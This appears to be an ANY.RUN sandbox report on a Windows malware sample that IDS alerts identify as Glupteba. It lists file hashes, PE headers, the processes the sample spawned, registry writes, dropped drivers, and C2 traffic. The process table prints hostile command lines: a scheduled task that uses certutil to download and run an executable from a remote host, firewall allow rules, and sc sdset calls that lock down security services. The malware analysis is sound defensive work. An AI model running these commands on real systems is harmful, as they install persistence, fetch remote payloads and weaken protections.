| File name: | 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1 |
| Full analysis: | https://app.any.run/tasks/9f41a0fe-00e0-45e9-9e5a-5dd0ac25eb6f |
| Verdict: | Malicious activity |
| Threats: | Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security. |
| Analysis date: | April 25, 2019, 11:52:36 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 1EE5909A4AFEB0DECF52136D94738AC3 |
| SHA1: | 0D1BA1136E02EE5E4F1E137D7E20345F84DD8D54 |
| SHA256: | 312EE9B244C42E0DE295A171AF46DF8AE8B084B95886A0AF50800358D0C6EDF1 |
| SSDEEP: | 98304:XPBoy8Ff+p8rJeerXaFtNuiaWNIpPTLXm1LyUgctBmgeEw6t0cbQvt6XU:fBoXFwYJeersuLLEuUgvEvnct6k |
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:02:28 05:48:40+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 9 |
| CodeSize: | 51200 |
| InitializedDataSize: | 5518336 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x30e3 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 28-Feb-2018 04:48:40 |
| Detected languages: |
|
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F0 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 28-Feb-2018 04:48:40 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000C614 | 0x0000C800 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.734 |
.rdata | 0x0000E000 | 0x00002A74 | 0x00002C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.44828 |
.data | 0x00011000 | 0x0051FA5C | 0x004C2A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 6.00313 |
.rsrc | 0x00531000 | 0x001A7888 | 0x0001CA00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.8644 |
.reloc | 0x006D9000 | 0x00004E18 | 0x00005000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 1.39024 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.48378 | 2216 | UNKNOWN | Polish - Poland | RT_ICON |
2 | 5.30662 | 1384 | UNKNOWN | Polish - Poland | RT_ICON |
3 | 3.30696 | 9640 | UNKNOWN | Polish - Poland | RT_ICON |
4 | 3.40276 | 4264 | UNKNOWN | Polish - Poland | RT_ICON |
5 | 3.39286 | 2440 | UNKNOWN | Polish - Poland | RT_ICON |
6 | 3.68694 | 1128 | UNKNOWN | Polish - Poland | RT_ICON |
7 | 3.23025 | 1212 | UNKNOWN | Polish - Poland | RT_STRING |
8 | 3.28939 | 1530 | UNKNOWN | Polish - Poland | RT_STRING |
9 | 3.25705 | 1970 | UNKNOWN | Polish - Poland | RT_STRING |
10 | 3.24937 | 1494 | UNKNOWN | Polish - Poland | RT_STRING |
KERNEL32.dll |
USER32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 288 | schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F | C:\Windows\system32\schtasks.exe | — | csrss.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 332 | "C:\Users\admin\AppData\Local\Temp\312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe" | C:\Users\admin\AppData\Local\Temp\312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | — | CompMgmtLauncher.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 992 | cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes" | C:\Windows\system32\cmd.exe | — | 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1220 | "C:\Windows\system32\CompMgmtLauncher.exe" | C:\Windows\system32\CompMgmtLauncher.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Computer Management Snapin Launcher Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1332 | "C:\Users\admin\AppData\Local\Temp\312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe" | C:\Users\admin\AppData\Local\Temp\312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1360 | cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) | C:\Windows\system32\cmd.exe | — | windefender.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1484 | netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1804 | schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f http://yearofair.club/app/app.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F | C:\Windows\system32\schtasks.exe | — | csrss.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1876 | cmd.exe /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) | C:\Windows\system32\cmd.exe | — | csrss.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1956 | "C:\Windows\system32\msconfig.exe" | C:\Windows\system32\msconfig.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: System Configuration Utility Exit code: 3221226540 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Name |
Value: RedFrost | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Firewall |
Value: | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Defender |
Value: | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Servers |
Value: https://weekdanys.com | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | UUID |
Value: | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | Command |
Value: 0000000000000000 | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | FirstInstallDate |
Value: 9F9FC15C00000000 | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | CloudnetFileURL |
Value: http://apigeoip.com/cl.exe | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | ServiceVersion |
Value: | |||
| (PID) Process: | (1332) 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\TestApp |
| Operation: | write | Name: | SC |
Value: 0000000000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4004 | csrss.exe | C:\Windows\windefender.exe | executable | |
MD5:— | SHA256:— | |||
| 3956 | cloudnet.exe | C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe | executable | |
MD5:— | SHA256:— | |||
| 4004 | csrss.exe | C:\Users\admin\AppData\Local\Temp\csrss\cloudnet.exe | executable | |
MD5:— | SHA256:— | |||
| 4004 | csrss.exe | C:\Users\admin\AppData\Local\Temp\csrss\winboxls-0225-2.exe | executable | |
MD5:— | SHA256:— | |||
| 4040 | 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | C:\Windows\rss\csrss.exe | executable | |
MD5:— | SHA256:— | |||
| 4004 | csrss.exe | C:\Windows\System32\drivers\WinmonProcessMonitor.sys | executable | |
MD5:622FD523A87CB55BE0B676A70C64E8F8 | SHA256:F609C6656A0C451DAFA5173DF0CD848F7CB7F22C4F150F8D16716C12593DE66C | |||
| 4004 | csrss.exe | C:\Windows\System32\drivers\Winmon.sys | executable | |
MD5:4EF0C39E632279D7B3672D2EFC071E5B | SHA256:889FB266C4C01BB4EF67635249C8DAEB641FC86CE62FC280B34BEEC415FB6129 | |||
| 4004 | csrss.exe | C:\Windows\System32\drivers\WinmonFS.sys | executable | |
MD5:0D3A8D67CD969C6E096B4D29E910DD9E | SHA256:EB0BE2AC3833C843214A55B14C31125A7B600D5272BDF322C4871F42627576E4 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3956 | cloudnet.exe | GET | — | 91.121.171.161:80 | http://CBCA08F7-7873-4211-9564-1CC1CEC4F29F.server-64.ehdy.ru/update.php?uid=CBCA08F7-7873-4211-9564-1CC1CEC4F29F&version=20190425&OS=win6.1,x86&have_admin=1&mys=1trailerhd.com,ehdy.ru,rbnj.ru,utjz.ru&build=20170301&cpu=Intel(R)+Core(TM)+i5-6400+CPU+%40+2.70GHz&video=Standard+VGA+Graphics+Adapter&ram=3&campaign=31339 | FR | — | — | malicious |
3956 | cloudnet.exe | GET | 200 | 91.121.171.161:8000 | http://91.121.171.161:8000/stat?uptime=100&downlink=1111&uplink=1111&id=0012FA46&statpass=bpass&version=20190425&features=30&guid=CBCA08F7-7873-4211-9564-1CC1CEC4F29F&comment=20190425&p=0&s= | FR | text | 11 b | malicious |
4004 | csrss.exe | GET | 200 | 104.31.77.242:80 | http://yearofair.club/app/watchdog.exe?t=2019-04-25 | US | executable | 1.37 Mb | suspicious |
4004 | csrss.exe | GET | 200 | 104.18.43.41:80 | http://apigeoip.com/cl.exe | US | executable | 667 Kb | malicious |
4004 | csrss.exe | GET | 200 | 104.31.77.242:80 | http://yearofair.club/app/winboxls-0225-2.exe | US | executable | 1.80 Mb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1332 | 312ee9b244c42e0de295a171af46df8ae8b084b95886a0af50800358d0c6edf1.exe | 104.24.115.108:443 | weekdanys.com | Cloudflare Inc | US | shared |
4004 | csrss.exe | 104.24.115.108:443 | weekdanys.com | Cloudflare Inc | US | shared |
4004 | csrss.exe | 104.31.77.242:80 | yearofair.club | Cloudflare Inc | US | shared |
4004 | csrss.exe | 104.18.43.41:80 | apigeoip.com | Cloudflare Inc | US | shared |
— | — | 91.121.171.161:8000 | CBCA08F7-7873-4211-9564-1CC1CEC4F29F.server-64.ehdy.ru | OVH SAS | FR | malicious |
— | — | 91.121.171.161:80 | CBCA08F7-7873-4211-9564-1CC1CEC4F29F.server-64.ehdy.ru | OVH SAS | FR | malicious |
Domain | IP | Reputation |
|---|---|---|
weekdanys.com |
| malicious |
yearofair.club |
| suspicious |
apigeoip.com |
| malicious |
CBCA08F7-7873-4211-9564-1CC1CEC4F29F.server-64.ehdy.ru |
| malicious |
PID | Process | Class | Message |
|---|---|---|---|
4004 | csrss.exe | A Network Trojan was detected | ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016 |
4004 | csrss.exe | Misc activity | ET USER_AGENTS Go HTTP Client User-Agent |
4004 | csrss.exe | Misc activity | ET INFO Packed Executable Download |
4004 | csrss.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4004 | csrss.exe | A Network Trojan was detected | ET TROJAN Possible JKDDOS download cl.exe |
4004 | csrss.exe | Potentially Bad Traffic | ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile |
4004 | csrss.exe | Misc activity | ET USER_AGENTS Go HTTP Client User-Agent |
4004 | csrss.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3956 | cloudnet.exe | A Network Trojan was detected | ET TROJAN Win32.Glupteba/ClIEcker CnC Checkin |
4004 | csrss.exe | Misc activity | ET INFO Packed Executable Download |